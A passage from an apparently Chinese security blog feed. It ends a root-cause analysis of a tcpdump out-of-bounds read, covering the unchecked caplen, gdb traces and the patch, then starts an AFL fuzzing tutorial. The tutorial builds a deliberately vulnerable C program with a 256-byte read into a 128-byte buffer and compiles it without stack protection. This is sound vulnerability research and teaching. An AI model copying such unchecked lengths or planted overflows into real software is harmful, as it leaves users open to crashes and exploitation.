<p > 函数调用流程<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > pcap_loop</span> <br > <span class= "line" > |----print_packet</span> <br > <span class= "line" > |-----hex_and_ascii_print</span> <br > <span class= "line" > |-------- hex_and_ascii_print_with_offset</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 由此可见, 从main函数开始了一连串函数调用, git源码下来看看。<br > tcpdump.c找到pcap_loop调用<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > 1. do { </span> <br > <span class= "line" > 2. status = pcap_loop(pd, cnt, callback, pcap_userdata);</span> <br > <span class= "line" > 3. if (WFileName == NULL) { </span> <br > <span class= "line" > 4. /*</span> <br > <span class= "line" > 5. * We' re printing packets. Flush the printed output,</span> <br > <span class= "line" > 6. * so it doesn' t get intermingled with error output.</span> <br > <span class= "line" > 7. */</span> <br > <span class= "line" > 8. if (status == -2) { </span> <br > <span class= "line" > 9. /*</span> <br > <span class= "line" > 10. * We got interrupted, so perhaps we didn' t</span> <br > <span class= "line" > 11. * manage to finish a line we were printing.</span> <br > <span class= "line" > 12. * Print an extra newline, just in case.</span> <br > <span class= "line" > 13. */</span> <br > <span class= "line" > 14. putchar(' n' );</span> <br > <span class= "line" > 15. } </span> <br > <span class= "line" > 16. (void)fflush(stdout);</span> <br > <span class= "line" > 17. } </span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 设置断点之后查看一下该函数的执行结果</p>
<p > pcap_loop通过callback指向print_packet,来看一下它的源码<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > 1. static void</span> <br > <span class= "line" > 2. print_packet(u_char *user, const struct pcap_pkthdr *h, const u_char *sp)</span> <br > <span class= "line" > 3. { </span> <br > <span class= "line" > 4. struct print_info *print_info;</span> <br > <span class= "line" > 5. u_int hdrlen;</span> <br > <span class= "line" > 6. ++packets_captured;</span> <br > <span class= "line" > 7. ++infodelay;</span> <br > <span class= "line" > 8. ts_print(& h-> ts);</span> <br > <span class= "line" > 9. print_info = (struct print_info *)user;</span> <br > <span class= "line" > 10. /*</span> <br > <span class= "line" > 11. * Some printers want to check that they' re not walking off the</span> <br > <span class= "line" > 12. * end of the packet.</span> <br > <span class= "line" > 13. * Rather than pass it all the way down, we set this global.</span> <br > <span class= "line" > 14. */</span> <br > <span class= "line" > 15. snapend = sp + h-> caplen;</span> <br > <span class= "line" > 16. if(print_info-> ndo_type) { </span> <br > <span class= "line" > 17. hdrlen = (*print_info-> p.ndo_printer)(print_info-> ndo, h, sp);< ====</span> <br > <span class= "line" > 18. } else { </span> <br > <span class= "line" > 19. hdrlen = (*print_info-> p.printer)(h, sp);</span> <br > <span class= "line" > 20. } </span> <br > <span class= "line" > 21. putchar(' n' );</span> <br > <span class= "line" > 22. --infodelay;</span> <br > <span class= "line" > 23. if (infoprint)</span> <br > <span class= "line" > 24. info(0);} </span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 同样设置断点看该函数是如何调用执行的</p>
<p > 这是我们可以根据call的信息, 计算出调用的函数名</p>
<p > 其中(*print_info-> p.ndo_printer)(print_info-> ndo,h,sp)指向ieee802_15_4_if_print</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > 25. u_int</span> <br > <span class= "line" > 26. ieee802_15_4_if_print(struct netdissect_options *ndo,</span> <br > <span class= "line" > 27. const struct pcap_pkthdr *h, const u_char *p)</span> <br > <span class= "line" > 28. { </span> <br > <span class= "line" > 29. printf(" address : %x\n" ,p);</span> <br > <span class= "line" > 30. u_int caplen = h-> caplen; //传入的caplen, 赋值给无符号整形变量caplen,且该值为8</span> <br > <span class= "line" > 31. int hdrlen;</span> <br > <span class= "line" > 32. u_int16_t fc;</span> <br > <span class= "line" > 33. u_int8_t seq;</span> <br > <span class= "line" > 34. if (caplen < 3) { //不满足</span> <br > <span class= "line" > 35. ND_PRINT((ndo, " [|802.15.4] %x" , caplen));</span> <br > <span class= "line" > 36. return caplen;</span> <br > <span class= "line" > 37. } </span> <br > <span class= "line" > 38. fc = EXTRACT_LE_16BITS(p);</span> <br > <span class= "line" > 39. hdrlen = extract_header_length(fc);</span> <br > <span class= "line" > 40. seq = EXTRACT_LE_8BITS(p + 2);</span> <br > <span class= "line" > 41. p += 3;</span> <br > <span class= "line" > 42. caplen -= 3;//此时caplen = 5</span> <br > <span class= "line" > 43. ND_PRINT((ndo," IEEE 802.15.4 %s packet " , ftypes[fc & 0x7]));</span> <br > <span class= "line" > 44. if (vflag)</span> <br > <span class= "line" > 45. ND_PRINT((ndo," seq %02x " , seq));</span> <br > <span class= "line" > 46. if (hdrlen == -1) { </span> <br > <span class= "line" > 47. ND_PRINT((ndo," malformed! " ));</span> <br > <span class= "line" > 48. return caplen;</span> <br > <span class= "line" > 49. } </span> <br > <span class= "line" > 50. if (!vflag) { </span> <br > <span class= "line" > 51. p+= hdrlen;</span> <br > <span class= "line" > 52. caplen -= hdrlen;</span> <br > <span class= "line" > 53. } else { </span> <br > <span class= "line" > 54. u_int16_t panid = 0;</span> <br > <span class= "line" > 55. switch ((fc > > 10) & 0x3) { </span> <br > <span class= "line" > 56. case 0x00:</span> <br > <span class= "line" > 57. ND_PRINT((ndo," none " ));</span> <br > <span class= "line" > 58. break;</span> <br > <span class= "line" > 59. case 0x01:</span> <br > <span class= "line" > 60. ND_PRINT((ndo," reserved destination addressing mode" ));</span> <br > <span class= "line" > 61. return 0;</span> <br > <span class= "line" > 62. case 0x02:</span> <br > <span class= "line" > 63. panid = EXTRACT_LE_16BITS(p);</span> <br > <span class= "line" > 64. p += 2;</span> <br > <span class= "line" > 65. ND_PRINT((ndo," %04x:%04x " , panid, EXTRACT_LE_16BITS(p)));</span> <br > <span class= "line" > 66. p += 2;</span> <br > <span class= "line" > 67. break;</span> <br > <span class= "line" > 68. case 0x03:</span> <br > <span class= "line" > 69. panid = EXTRACT_LE_16BITS(p);</span> <br > <span class= "line" > 70. p += 2;</span> <br > <span class= "line" > 71. ND_PRINT((ndo," %04x:%s " , panid, le64addr_string(p)));</span> <br > <span class= "line" > 72. p += 8;</span> <br > <span class= "line" > 73. break;</span> <br > <span class= "line" > 74. } </span> <br > <span class= "line" > 75. ND_PRINT((ndo," < " );</span> <br > <span class= "line" > 76. switch ((fc > > 14) & 0x3) { </span> <br > <span class= "line" > 77. case 0x00:</span> <br > <span class= "line" > 78. ND_PRINT((ndo," none " ));</span> <br > <span class= "line" > 79. break;</span> <br > <span class= "line" > 80. case 0x01:</span> <br > <span class= "line" > 81. ND_PRINT((ndo," reserved source addressing mode" ));</span> <br > <span class= "line" > 82. return 0;</span> <br > <span class= "line" > 83. case 0x02:</span> <br > <span class= "line" > 84. if (!(fc & (1 < < 6))) { </span> <br > <span class= "line" > 85. panid = EXTRACT_LE_16BITS(p);</span> <br > <span class= "line" > 86. p += 2;</span> <br > <span class= "line" > 87. } </span> <br > <span class= "line" > 88. ND_PRINT((ndo," %04x:%04x " , panid, EXTRACT_LE_16BITS(p)));</span> <br > <span class= "line" > 89. p += 2;</span> <br > <span class= "line" > 90. break;</span> <br > <span class= "line" > 91. case 0x03:</span> <br > <span class= "line" > 92. if (!(fc & (1 < < 6))) { </span> <br > <span class= "line" > 93. panid = EXTRACT_LE_16BITS
<p > 传入的第二个值是struct pcap_pkthdr *h结构体, 函数使用的参数caplen就是结构体中的caplen, 不难看出, caplen进行一些加减操作后, 没有判断正负, 直接丢给了下一个函数使用。<br > 直接跟进函数,看看最后赋值情况</p>
<p > 从源码和调试信息可以看到libpcap在处理不正常包时不严谨, 导致包的头长度hdrlen竟然大于捕获包长度caplen, 并且在处理时又没有相关的判断。hdrlen和caplen都是非负整数, 导致caplen==0xfffffff3过长。<br > 继续跟进hex_and_asciii_print(ndo_default_print)</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > 1. void</span> <br > <span class= "line" > 2. hex_and_ascii_print(register const char *ident, register const u_char *cp,</span> <br > <span class= "line" > 3. register u_int length)</span> <br > <span class= "line" > 4. { </span> <br > <span class= "line" > 5. hex_and_ascii_print_with_offset(ident, cp, length, 0);</span> <br > <span class= "line" > 6. } </span> <br > <span class= "line" > </span> <br > <span class= "line" > 其中length==0xfffffff3, 继续执行</span> <br > <span class= "line" > 1. void</span> <br > <span class= "line" > 2. hex_print_with_offset(register const char *ident, register const u_char *cp, register u_int length,</span> <br > <span class= "line" > 3. register u_int oset)</span> <br > <span class= "line" > 4. { </span> <br > <span class= "line" > 5. register u_int i, s;</span> <br > <span class= "line" > 6. register int nshorts;</span> <br > <span class= "line" > 7.</span> <br > <span class= "line" > 8. nshorts = (u_int) length / sizeof(u_short);</span> <br > <span class= "line" > 9. i = 0;</span> <br > <span class= "line" > 10. while (--nshorts > = 0) { </span> <br > <span class= "line" > 11. if ((i++ % 8) == 0) { </span> <br > <span class= "line" > 12. (void)printf(" %s0x%04x: " , ident, oset);</span> <br > <span class= "line" > 13. oset += HEXDUMP_BYTES_PER_LINE;</span> <br > <span class= "line" > 14. } </span> <br > <span class= "line" > 15. s = *cp++; < ======= 抛出错误位置</span> <br > <span class= "line" > 16. (void)printf(" %02x%02x" , s, *cp++);</span> <br > <span class= "line" > 17. } </span> <br > <span class= "line" > 18. if (length & 1) { </span> <br > <span class= "line" > 19. if ((i % 8) == 0)</span> <br > <span class= "line" > 20. (void)printf(" %s0x%04x: " , ident, oset);</span> <br > <span class= "line" > 21. (void)printf(" %02x" , *cp);</span> <br > <span class= "line" > 22. } </span> <br > <span class= "line" > nshorts=(u_int) length / sizeof(u_short) => nshorts=0xfffffff3/2= 7FFFFFF9 </span> <br > </pre> </td> </tr> </table> </figure>
<p > 但数据包数据没有这么长, 导致了crash。</p>
<h3 id= "内存分析" > <a href= "#内存分析" class= "headerlink" title= "内存分析" > </a> 内存分析</h3> <p > 仔细分析之后发现, 通过len判断的这个长度并没有进行控制, 如果是自己构造的一个超长len的数据包, 则会连续读取到不可估计的值。<br > 通过查看epx的值来看一下这个内存到底开辟到什么位置<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > 1. gdb-peda$ x/10000000x 0x81e33bd</span> <br > <span class= "line" > 2. 0x8203fdd: 0x00000000 0x00000000 0x00000000 0x00000000</span> <br > <span class= "line" > 3. 0x8203fed: 0x00000000 0x00000000 0x00000000 0x00000000</span> <br > <span class= "line" > 4. 0x8203ffd: Cannot access memory at address 0x8204000</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 可以看到, 到达0x 8204000附近的时候, 就是无法读取的无效地址了, 那么初始值为0x 81e33bd, 用两个值相减。0x 8204000-0x 81e33bd = 0x 20c40, 因为ebx+ebp*2+0x1一次读取两个字节, 那么循环计数器就要除以2, 最后结果为0x 10620。<br > 来看一下到达拒绝服务位置读取的长度: EBX: 0x81e33bd – > 0x0; EBP: 0x10621; <br > EBP刚好为10621。正是不可读取内存空间的地址, 因此造成拒绝服务。</p>
<h3 id= "漏洞总结" > <a href= "#漏洞总结" class= "headerlink" title= "漏洞总结" > </a> 漏洞总结</h3> <p > 总结一下整个漏洞触发过程, 首先tcpdump会读取恶意构造的pcap包, 在构造pcap包的时候, 设置一个超长的数据包长度, tcpdump会根据len的长度去读取保存在内存空间数据包的内容, 当引用到不可读取内存位置时, 会由于引用不可读指针, 造成拒绝服务漏洞。</p>
<h2 id= "漏洞修补" > <a href= "#漏洞修补" class= "headerlink" title= "漏洞修补" > </a> 漏洞修补</h2> <p > Libpcap依然是apt安装的默认版本, tcpdump使用4.7 .0-bp版本<br > 在hex_and_ascii_print_with_offset中增加对caplength的判断<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > 1. caplength = (ndo-> ndo_snapend > = cp) ? ndo-> ndo_snapend - cp : 0;</span> <br > <span class= "line" > 2. if (length > caplength)</span> <br > <span class= "line" > 3. length = caplength;</span> <br > <span class= "line" > 4. nshorts = length / sizeof(u_short);</span> <br > <span class= "line" > 5. i = 0;</span> <br > <span class= "line" > 6. hsp = hexstuff; asp = asciistuff;</span> <br > <span class= "line" > 7. while (--nshorts > = 0) { </span> <br > <span class= "line" > 8. ...</span> <br > <span class= "line" > 9. } </span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 可以看到执行完caplength = (ndo-> ndo_snapend > = cp) ? ndo-> ndo_snapend - cp : 0;, caplength为0, 继续执行, 可以推出length同样为0, 到这里已经不会发生错误了。</p>
<h2 id= "参考" > <a href= "#参考" class= "headerlink" title= "参考" > </a> 参考</h2> <p > <a href= "https://www.exploit-db.com/exploits/39875/" target= "_blank" rel= "noopener" > exploit-db payload</a> <br > <a href= "https://whereisk0shl.top/post/2016-10-23-1" target= "_blank" rel= "noopener" > WHEREISK0SHL分析博客</a> <br > <a href= "https://github.com/the-tcpdump-group" target= "_blank" rel= "noopener" > libpcap/tcpdump源码</a> </p>
]]></content>
2019-07-16 09:15:34 +00:00
<categories >
2021-04-10 20:14:09 +00:00
<category > 二进制</category>
2019-07-16 09:15:34 +00:00
</categories>
2021-04-10 20:14:09 +00:00
<tags >
<tag > TCPDUMP</tag>
<tag > 拒绝服务攻击</tag>
</tags>
</entry>
<entry >
<title > AFL-爱之初体验</title>
<url > /2019/07/09/afl-first-try/</url>
<content > <![CDATA[<p> 参考:<a href= "https://paper.seebug.org/841/#_1" target= "_blank" rel= "noopener" > https://paper.seebug.org/841/#_1</a> </p>
<p > <strong > 部署afl</strong> </p>
<blockquote >
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > > wget http://lcamtuf.coredump.cx/afl/releases/afl-latest.tgz</span> <br > <span class= "line" > > tar -zxvf afl-latest.tgz</span> <br > <span class= "line" > > cd afl-2.52b/</span> <br > <span class= "line" > > make</span> <br > <span class= "line" > > sudo make install</span> <br > <span class= "line" > > </span> <br > </pre> </td> </tr> </table> </figure>
</blockquote>
<p > <strong > 部署qemu</strong> </p>
<blockquote >
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > > $ CPU_TARGET=x86_64 ./build_qemu_support.sh</span> <br > <span class= "line" > > [+] Build process successful!</span> <br > <span class= "line" > > [*] Copying binary...</span> <br > <span class= "line" > > -rwxr-xr-x 1 han han 10972920 7月 9 10:43 ../afl-qemu-trace</span> <br > <span class= "line" > > [+] Successfully created ' ../afl-qemu-trace' .</span> <br > <span class= "line" > > [!] Note: can' t test instrumentation when CPU_TARGET set.</span> <br > <span class= "line" > > [+] All set, you can now (hopefully) use the -Q mode in afl-fuzz!</span> <br > <span class= "line" > > </span> <br > </pre> </td> </tr> </table> </figure>
</blockquote>
<hr >
<h1 id= "0x01-白盒测试" > <a href= "#0x01-白盒测试" class= "headerlink" title= "0x01 白盒测试" > </a> 0x01 白盒测试</h1> <h2 id= "目标程序编译" > <a href= "#目标程序编译" class= "headerlink" title= "目标程序编译" > </a> 目标程序编译</h2> <ol >
<li > <p > 源代码</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > #undef _FORTIFY_SOURCE</span> <br > <span class= "line" > #include < stdio.h> </span> <br > <span class= "line" > #include < stdlib.h> </span> <br > <span class= "line" > #include < unistd.h> </span> <br > <span class= "line" > </span> <br > <span class= "line" > void vulnerable_function() { </span> <br > <span class= "line" > char buf[128];</span> <br > <span class= "line" > read(STDIN_FILENO, buf, 256);</span> <br > <span class= "line" > } </span> <br > <span class= "line" > </span> <br > <span class= "line" > int main(int argc, char** argv) { </span> <br > <span class= "line" > vulnerable_function();</span> <br > <span class= "line" > write(STDOUT_FILENO, " Hello, World\n" , 13);</span> <br > <span class= "line" > } </span> <br > </pre> </td> </tr> </table> </figure>
</li>
<li > <p > gcc编译( 不插桩) </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ gcc v1.c -o v1</span> <br > <span class= "line" > $ ./v1</span> <br > <span class= "line" > what</span> <br > <span class= "line" > Hello, World</span> <br > </pre> </td> </tr> </table> </figure>
</li>
</ol>
<p > 生成v1的目的一是为了和afl-gcc的编译做对比, 二是为黑盒测试做铺垫。</p>
<ol start= "3" >
<li > 使用afl-gcc进行编译<br > <em > -fno-stack-protector 该选项会禁止stack canary保护<br > -z execstack 允许堆栈可执行</em> <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ ../afl-2.52b/afl-gcc -fno-stack-protector -z execstack v1.c -o v1-afl </span> <br > <span class= "line" > afl-cc 2.52b by < lcamtuf@google.com> </span> <br > <span class= "line" > afl-as 2.52b by < lcamtuf@google.com> </span> <br > <span class= "line" > [+] Instrumented 2 locations (64-bit, non-hardened mode, ratio 100%).</span> <br > </pre> </td> </tr> </table> </figure>
</li>
</ol>
<h2 id= "测试插桩程序" > <a href= "#测试插桩程序" class= "headerlink" title= "测试插桩程序" > </a> 测试插桩程序</h2> <p > <strong > afl-showmap</strong> 跟踪单个输入的执行路径, 并打印程序执行的输出、捕获的元组( tuples) , tuple用于获取分支信息, 从而衡量衡量程序覆盖情况。<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ ./afl-showmap -o /dev/null -- ../vuln/v1 < < (echo test)</span> <br > <span class= "line" > afl-showmap 2.52b by < lcamtuf@google.com> </span> <br > <span class= "line" > [*] Executing ' ../vuln/v1' ...</span> <br > <span class= "line" > </span> <br > <span class= "line" > -- Program output begins --</span> <br > <span class= "line" > Hello, World</span> <br > <span class= "line" > -- Program output ends --</span> <br > <span class= "line" > </span> <br > <span class= "line" > [-] PROGRAM ABORT : No instrumentation detected</span> <br > <span class= "line" > Location : main(), afl-showmap.c:773</span> <br > </pre> </td> </tr> </table> </figure> </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ ./afl-showmap -o /dev/null -- ../vuln/v1-afl < < (echo test)</span> <br > <span class= "line" > afl-showmap 2.52b by < lcamtuf@google.com> </span> <br > <span class= "line" > [*] Executing ' ../vuln/v1-afl' ...</span> <br > <span class= "line" > </span> <br > <span class= "line" > -- Program output begins --</span> <br > <span class= "line" > Hello, World</span> <br > <span class= "line" > -- Program output ends --</span> <br > <span class= "line" > [+] Captured 1 tuples in ' /dev/null' .</span> <br > </pre> </td> </tr> </table> </figure>
<p > 可见, afl-gcc相对于gcc的不同在于采用了插桩计算覆盖率, 在这个实例程序中捕捉到了一个元组</p>
<h2 id= "执行FUZZER" > <a href= "#执行FUZZER" class= "headerlink" title= "执行FUZZER" > </a> 执行FUZZER</h2> <ol >
<li > 修改core<br > 在执行afl-fuzz前, 如果系统配置为将核心转储文件( core) 通知发送到外部程序。<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ ./afl-fuzz -i ../vuln/testcase/ -o ../vuln/out/ ../vuln/v1-afl</span> <br > <span class= "line" > afl-fuzz 2.52b by < lcamtuf@google.com> </span> <br > <span class= "line" > [+] You have 2 CPU cores and 2 runnable tasks (utilization: 100%).</span> <br > <span class= "line" > [*] Checking CPU core loadout...</span> <br > <span class= "line" > [+] Found a free CPU core, binding to #0.</span> <br > <span class= "line" > [*] Checking core_pattern...</span> <br > <span class= "line" > </span> <br > <span class= "line" > [-] Hmm, your system is configured to send core dump notifications to an</span> <br > <span class= "line" > external utility. This will cause issues: there will be an extended delay</span> <br > <span class= "line" > between stumbling upon a crash and having this information relayed to the</span> <br > <span class= "line" > fuzzer via the standard waitpid() API.</span> <br > <span class= "line" > </span> <br > <span class= "line" > To avoid having crashes misinterpreted as timeouts, please log in as root</span> <br > <span class= "line" > and temporarily modify /proc/sys/kernel/core_pattern, like so:</span> <br > <span class= "line" > </span> <br > <span class= "line" > echo core > /proc/sys/kernel/core_pattern</span> <br > <span class= "line" > </span> <br > <span class= "line" > [-] PROGRAM ABORT : Pipe at the beginning of ' core_pattern' </span> <br > <span class= "line" > Location : check_crash_handling(), afl-fuzz.c:7275</span> <br > </pre> </td> </tr> </table> </figure>
</li>
</ol>
<p > 将导致将崩溃信息发送到Fuzzer之间的延迟增大, 进而可能将崩溃被误报为超时, 所以我们得临时修改core_pattern文件, 如下所示: <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > echo core > /proc/sys/kernel/core_pattern</span> <br > </pre> </td> </tr> </table> </figure> </p>
<ol start= "2" >
<li > 通用fuzz语法<br > afl-fuzz对于直接从stdin接受输入的目标二进制文件, 通常的语法是: <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ ./afl-fuzz -i testcase_dir -o findings_dir / path / to / program [... params ...]</span> <br > </pre> </td> </tr> </table> </figure>
</li>
</ol>
<p > 对于从文件中获取输入的程序,使用“@@”标记目标命令行中应放置输入文件名的位置。模糊器将替换为您:<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ ./afl-fuzz -i testcase_dir -o findings_dir / path / to / program @@</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 此时afl会给我们返回一些信息, 这里提示我们有些测试用例无效<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > afl-fuzz 2.52b by < lcamtuf@google.com> </span> <br > <span class= "line" > [+] You have 2 CPU cores and 2 runnable tasks (utilization: 100%).</span> <br > <span class= "line" > [*] Checking CPU core loadout...</span> <br > <span class= "line" > [+] Found a free CPU core, binding to #0.</span> <br > <span class= "line" > [*] Checking core_pattern...</span> <br > <span class= "line" > [*] Setting up output directories...</span> <br > <span class= "line" > [+] Output directory exists but deemed OK to reuse.</span> <br > <span class= "line" > [*] Deleting old session data...</span> <br > <span class= "line" > [+] Output dir cleanup successful.</span> <br > <span class= "line" > [*] Scanning ' ../vuln/testcase/' ...</span> <br > <span class= "line" > [+] No auto-generated dictionary tokens to reuse.</span> <br > <span class= "line" > [*] Creating hard links for all input files...</span> <br > <span class= "line" > [*] Validating target binary...</span> <br > <span class= "line" > [*] Attempting dry run with ' id:000000,orig:1' ...</span> <br > <span class= "line" > [*] Spinning up the fork server...</span> <br > <span class= "line" > [+] All right - fork server is up.</span> <br > <span class= "line" > len = 3, map size = 1, exec speed = 295 us</span> <br > <span class= "line" > [*] Attempting dry run with ' id:000001,orig:2' ...</span> <br > <span class= "line" > len = 23, map size = 1, exec speed = 125 us</span> <br > <span class= "line" > [!] WARNING: No new instrumentation output, test case may be useless.</span> <br > <span class= "line" > [+] All test cases processed.</span> <br > <span class= "line" > </span> <br > <span class= "line" > [!] WARNING: Some test cases look useless. Consider using a smaller set.</span> <br > <span class= "line" > [+] Here are some useful stats:</span> <br > <span class= "line" > </span> <br > <span class= "line" > Test case count : 1 favored, 0 variable, 2 total</span> <br > <span class= "line" > Bitmap range : 1 to 1 bits (average: 1.00 bits)</span> <br > <span class= "line" > Exec timing : 125 to 295 us (average: 210 us)</span> <br > <span class= "line" > </span> <br > <span class= "line" > [*] No -t option specified, so I' ll use exec timeout of 20 ms.</span> <br > <span class= "line" > [+] All set and ready to roll!</span> <br > </pre> </td> </tr> </table> </figure> </p>
<ol start= "3" >
<li > 状态窗口<br > 我们可以看到afl很快就给我们制造了崩溃</li>
</ol>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > american fuzzy lop 2.52b (v1-afl)</span> <br > <span class= "line" > </span> <br > <span class= "line" > ┌─ process timing ─────────────────────────────────────┬─ overall results ─────┐</span> <br > <span class= "line" > │ run time : 0 days, 0 hrs, 4 min, 19 sec │ cycles done : 2477 │</span> <br > <span class= "line" > │ last new path : 0 days, 0 hrs, 2 min, 27 sec │ total paths : 3 │</span> <br > <span class= "line" > │ last uniq crash : 0 days, 0 hrs, 4 min, 19 sec │ uniq crashes : 1 │</span> <br > <span class= "line" > │ last uniq hang : 0 days, 0 hrs, 2 min, 12 sec │ uniq hangs : 1 │</span> <br > <span class= "line" > ├─ cycle progress ────────────────────┬─ map coverage ─┴───────────────────────┤</span> <br > <span class= "line" > │ now processing : 2 (66.67%) │ map density : 0.00% / 0.00% │</span> <br > <span class= "line" > │ paths timed out : 0 (0.00%) │ count coverage : 1.00 bits/tuple │</span> <br > <span class= "line" > ├─ stage progress ────────────────────┼─ findings in depth ────────────────────┤</span> <br > <span class= "line" > │ now trying : havoc │ favored paths : 1 (33.33%) │</span> <br > <span class= "line" > │ stage execs : 1433/1536 (93.29%) │ new edges on : 2 (66.67%) │</span> <br > <span class= "line" > │ total execs : 2.32M │ total crashes : 93.1k (1 unique) │</span> <br > <span class= "line" > │ exec speed : 0.00/sec (zzzz...) │ total tmouts : 8 (1 unique) │</span> <br > <span class= "line" > ├─ fuzzing strategy yields ───────────┴───────────────┬─ path geometry ────────┤</span> <br > <span class= "line" > │ bit flips : 0/1152, 0/1149, 0/1143 │ levels : 2 │</span> <br > <span class= "line" > │ byte flips : 0/144, 0/14, 0/10 │ pending : 0 │</span> <br > <span class= "line" > │ arithmetics : 0/888, 0/25, 0/0 │ pend fav : 0 │</span> <br > <span class= "line" > │ known ints : 0/98, 0/390, 0/440 │ own finds : 1 │</span> <br > <span class= "line" > │ dictionary : 0/0, 0/0, 0/0 │ imported : n/a │</span> <br > <span class= "line" > │ havoc : 2/1.50M, 0/819k │ stability : 100.00% │</span> <br > <span class= "line" > │ trim : 11.88%/64, 80.00% ├────────────────────────┘</span> <br > <span class= "line" > └─────────────────────────────────────────────────────┘ [cpu000:102%] │</span> <br > <span class= "line" > │ stage execs : 1432/1536 (93.23%) │ new edges on : 2 (66.67%) │</span> <br > <span class= "line" > +++ Testing aborted by user +++ │ total crashes : 93.1k (1 unique) │</span> <br > <span class= "line" > [+] We' re done here. Have a nice day! │ total tmouts : 8 (1 unique) │</span> <br > <span class= "line" > ├─ fuzzing strategy yields ───────────┴───────────────┬─ path geometry ────────┤</span> <br > </pre> </td> </tr> </table> </figure>
<p > 由上面AFL状态窗口: <br > ① Process timing:Fuzzer运行时长、以及距离最近发现的路径、崩溃和挂起( 超时) 经过了多长时间。<br > 已经运行4m19s, 距离上一个最新路径已经过去2min27s, 距离上一个独特崩溃已经过去4min19s( 可见找到崩溃的速度非常快) , 距离上一次挂起已经过去2m12s。</p>
<p > ② Overall results: Fuzzer当前状态的概述。</p>
<p > ③ Cycle progress: 我们输入队列的距离。队列一共有3个用例, 现在是第二个, 66.67%</p>
<p > ④ Map coverage: 目标二进制文件中的插桩代码所观察到覆盖范围的细节。</p>
<p > ⑤ Stage progress: Fuzzer现在正在执行的文件变异策略、执行次数和执行速度。</p>
<p > ⑥ Findings in depth: 有关我们找到的执行路径, 异常和挂起数量的信息。</p>
<p > ⑦ Fuzzing strategy yields: 关于突变策略产生的最新行为和结果的详细信息。</p>
<p > ⑧ Path geometry: 有关Fuzzer找到的执行路径的信息。</p>
<p > ⑨ CPU load: CPU利用率</p>
<h2 id= "afl何时结束" > <a href= "#afl何时结束" class= "headerlink" title= "afl何时结束" > </a> afl何时结束</h2> <p > (1) 状态窗口中”cycles done”字段颜色变为绿色该字段的颜色可以作为何时停止测试的参考, 随着周期数不断增大, 其颜色也会由洋红色, 逐步变为黄色、蓝色、绿色。当其变为绿色时, 继续Fuzzing下去也很难有新的发现了, 这时便可以通过Ctrl-C停止afl-fuzz。<br > (2) 距上一次发现新路径(或者崩溃)已经过去很长时间<br > (3) 目标程序的代码几乎被测试用例完全覆盖</p>
<h2 id= "处理输出结果" > <a href= "#处理输出结果" class= "headerlink" title= "处理输出结果" > </a> 处理输出结果</h2> <blockquote >
<p > 确定造成这些crashes的bug是否可以利用, 怎么利用? </p>
</blockquote>
<p > afl在fuzzing的过程中同时也产生了这些文件<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ tree ../vuln/out/</span> <br > <span class= "line" > ../vuln/out/</span> <br > <span class= "line" > ├── crashes</span> <br > <span class= "line" > │ ├── id:000000,sig:11,src:000000,op:havoc,rep:64</span> <br > <span class= "line" > │ └── README.txt</span> <br > <span class= "line" > ├── fuzz_bitmap</span> <br > <span class= "line" > ├── fuzzer_stats</span> <br > <span class= "line" > ├── hangs</span> <br > <span class= "line" > ├── plot_data</span> <br > <span class= "line" > └── queue</span> <br > <span class= "line" > ├── id:000000,orig:1</span> <br > <span class= "line" > └── id:000001,orig:2</span> <br > <span class= "line" > </span> <br > <span class= "line" > 3 directories, 7 files</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 在输出目录中创建了三个子目录并实时更新:</p>
<ul >
<li > queue: 测试每个独特执行路径的案例,以及用户提供的所有起始文件。</li>
<li > crashes: 导致被测程序接收致命信号的独特测试用例( 例如, SIGSEGV, SIGILL, SIGABRT) 。条目按接收信号分组。</li>
<li > hangs: 导致测试程序超时的独特测试用例。将某些内容归类为挂起之前的默认时间限制是1秒内的较大值和-t参数的值。可以通过设置AFL_HANG_TMOUT来微调该值, 但这很少是必需的。</li>
<li > 崩溃和挂起被视为“唯一” :如果相关的执行路径涉及在先前记录的故障中未见的任何状态转换。如果可以通过多种方式达到单个错误,那么在此过程中会有一些计数通货膨胀,但这应该会迅速逐渐减少。</li>
<li > fuzzer_stats: afl-fuzz的运行状态。</li>
<li > plot_data: 用于afl-plot绘图。</li>
</ul>
<h2 id= "崩溃类型和可利用性" > <a href= "#崩溃类型和可利用性" class= "headerlink" title= "崩溃类型和可利用性" > </a> 崩溃类型和可利用性</h2> <ol >
<li > <p > triage_crashes<br > AFL源码的experimental目录中有一个名为triage_crashes.sh的脚本, 可以帮助我们触发收集到的crashes。例如下面的例子中, 11代表了SIGSEGV信号, 有可能是因为缓冲区溢出导致进程引用了无效的内存; 06代表了SIGABRT信号, 可能是执行了abort\assert函数或double free导致, 这些结果可以作为简单的参考。</p>
